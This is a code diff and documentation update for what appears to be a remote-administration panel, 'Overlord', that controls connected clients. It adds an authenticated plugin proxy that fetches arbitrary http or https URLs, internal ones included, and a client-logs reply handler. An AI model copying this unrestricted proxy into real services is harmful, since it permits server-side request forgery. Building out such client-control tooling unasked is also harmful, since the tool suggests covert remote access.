return Response.json({ ok: false, error: error.message || "Client logs request failed" }, { status: 504 });
}
}
if (url.pathname === "/api/clients/banned-ips") {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
@@ -4,7 +4,7 @@ import path from "path";
import AdmZip from "adm-zip";
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { requireClientAccess, requirePermission, requirePluginAccess } from "../../rbac";
import { requireAnyPermission, requireClientAccess, requirePermission, requirePluginAccess } from "../../rbac";
import { canUserAccessPlugin } from "../../users";
import * as clientManager from "../../clientManager";
import { metrics } from "../../metrics";
@@ -43,6 +43,17 @@ type PluginState = {
approvedNeeds: Record<string, string>;
};
const HOP_BY_HOP_HEADERS = new Set([
"connection",
"keep-alive",
"proxy-authenticate",
"proxy-authorization",
"te",
"trailer",
"transfer-encoding",
"upgrade",
]);
type PluginRouteDeps = {
PLUGIN_ROOT: string;
PUBLIC_ROOT: string;
@@ -157,6 +168,58 @@ export async function handlePluginRoutes(
return new Response("Unauthorized", { status: 401 });
}
async function requirePluginApiAccess(pluginId: string): Promise<Response | null> {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try {
requireAnyPermission(user, ["clients:control", "clients:build"]);
requirePluginAccess(user, pluginId);
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
if (deps.pluginState.enabled[pluginId] === false) {
return Response.json({ ok: false, error: "Plugin disabled" }, { status: 400 });
}
return null;
}
function parseProxyUrl(value: unknown): URL | null {
if (typeof value !== "string" || !value.trim()) return null;
try {
const target = new URL(value);
return target.protocol === "http:" || target.protocol === "https:" ? target : null;
} catch {
return null;
}
}
function sanitizeProxyHeaders(value: unknown): Headers {
const headers = new Headers();
if (!value || typeof value !== "object" || Array.isArray(value)) return headers;
for (const [key, rawValue] of Object.entries(value as Record<string, unknown>)) {
const name = key.toLowerCase();
if (HOP_BY_HOP_HEADERS.has(name) || name === "host" || name === "cookie" || name === "set-cookie") continue;
if (typeof rawValue === "string") headers.set(key, rawValue);
}
return headers;
}
async function makePluginProxyResponse(upstream: Response): Promise<Response> {
const headers = new Headers();
upstream.headers.forEach((value, key) => {
const name = key.toLowerCase();
if (HOP_BY_HOP_HEADERS.has(name) || name === "set-cookie") return;
headers.set(key, value);
});
headers.set("Cache-Control", "no-store");
return new Response(upstream.body, {
status: upstream.status,
statusText: upstream.statusText,
headers,
});
}
if (req.method === "GET" && url.pathname === "/api/plugins") {
const user = await authenticateRequest(req);
if (!user) {
@@ -291,6 +354,57 @@ export async function handlePluginRoutes(
return Response.json({ ok: true, trustedKeys: keys });
}
const pluginProxyMatch = url.pathname.match(/^\/api\/plugins\/([^/]+)\/proxy$/);
if ((req.method === "GET" || req.method === "POST") && pluginProxyMatch) {
let pluginId = "";
try { pluginId = deps.sanitizePluginId(pluginProxyMatch[1]); } catch {
return new Response("Invalid plugin id", { status: 400 });
}
const accessResponse = await requirePluginApiAccess(pluginId);
if (accessResponse) return accessResponse;
let target: URL | null = null;
let method = "GET";
let headers = new Headers();
let body: BodyInit | undefined;
if (req.method === "GET") {
target = parseProxyUrl(url.searchParams.get("url"));
} else {
let payload: any = {};
try { payload = await req.json(); } catch {
return Response.json({ ok: false, error: "Invalid JSON" }, { status: 400 });
}
target = parseProxyUrl(payload.url);
method = typeof payload.method === "string" ? payload.method.toUpperCase() : "GET";
if (!["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD"].includes(method)) {
return Response.json({ ok: false, error: "Unsupported proxy method" }, { status: 400 });
}
headers = sanitizeProxyHeaders(payload.headers);
if (payload.body !== undefined && method !== "GET" && method !== "HEAD") {
body = typeof payload.body === "string" ? payload.body : JSON.stringify(payload.body);
if (!headers.has("Content-Type") && typeof payload.body !== "string") {
headers.set("Content-Type", "application/json");
}
}
}
if (!target) {
return Response.json({ ok: false, error: "Proxy url must be http or https" }, { status: 400 });
}
try {
const upstream = await fetch(target, { method, headers, body, redirect: "follow" });
return makePluginProxyResponse(upstream);
} catch (err) {
return Response.json(
{ ok: false, error: err instanceof Error ? err.message : String(err) },
{ status: 502 },
);
}
}
const clientPluginsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins$/);
if (req.method === "GET" && clientPluginsMatch) {
const user = await authenticateRequest(req);
@@ -797,6 +797,19 @@ export async function handleWebSocketMessage(
);
}
break;
case "client_logs_result":
if (typeof (payload as any).commandId === "string") {
const pending = deps.pendingCommandReplies.get((payload as any).commandId);
if (pending) {
clearTimeout(pending.timeout);
pending.resolve({
ok: Boolean((payload as any).ok),
message: JSON.stringify(payload),
});
deps.pendingCommandReplies.delete((payload as any).commandId);
}
}
break;
case "command_progress":
deps.handleFileBrowserMessage(client.id, payload);
break;
+1
View File
@@ -20,6 +20,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"file_peek_result",
"file_hash_result",
"command_result",
"client_logs_result",
"screenshot_result",
"command_progress",
"process_list_result",
+21
View File
@@ -100,6 +100,27 @@ stream.addEventListener("changed", (event) => {
RPC calls require `clients:control`, time out after 30 seconds, and must target a method exported in the plugin's `rpc` map. SSE streams also require `clients:control`.
### Trusted Requests
Server-side plugin code, including build hooks, can make trusted outbound requests with `ctx.fetch(url, options)`. These requests run from the Overlord server process and are not subject to browser CORS.
Browser plugin UI is still normal browser JavaScript. If a plugin page needs to call an API that does not allow browser CORS, call the same-origin proxy instead:
```js
const res = await fetch("/api/plugins/my-plugin/proxy", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
url: "https://example.internal/api/releases",
method: "POST",
headers: { "Content-Type": "application/json" },
body: { buildId: "abc123" },
}),
});
```
The proxy requires the signed-in user to have access to that plugin. It only proxies `http:` and `https:` URLs.
## Build Hooks
Server-side plugins can hook the agent builder without shipping agent code. Browser UI is never called from the build process; only `server.js` or compiled `src/server.ts` participates.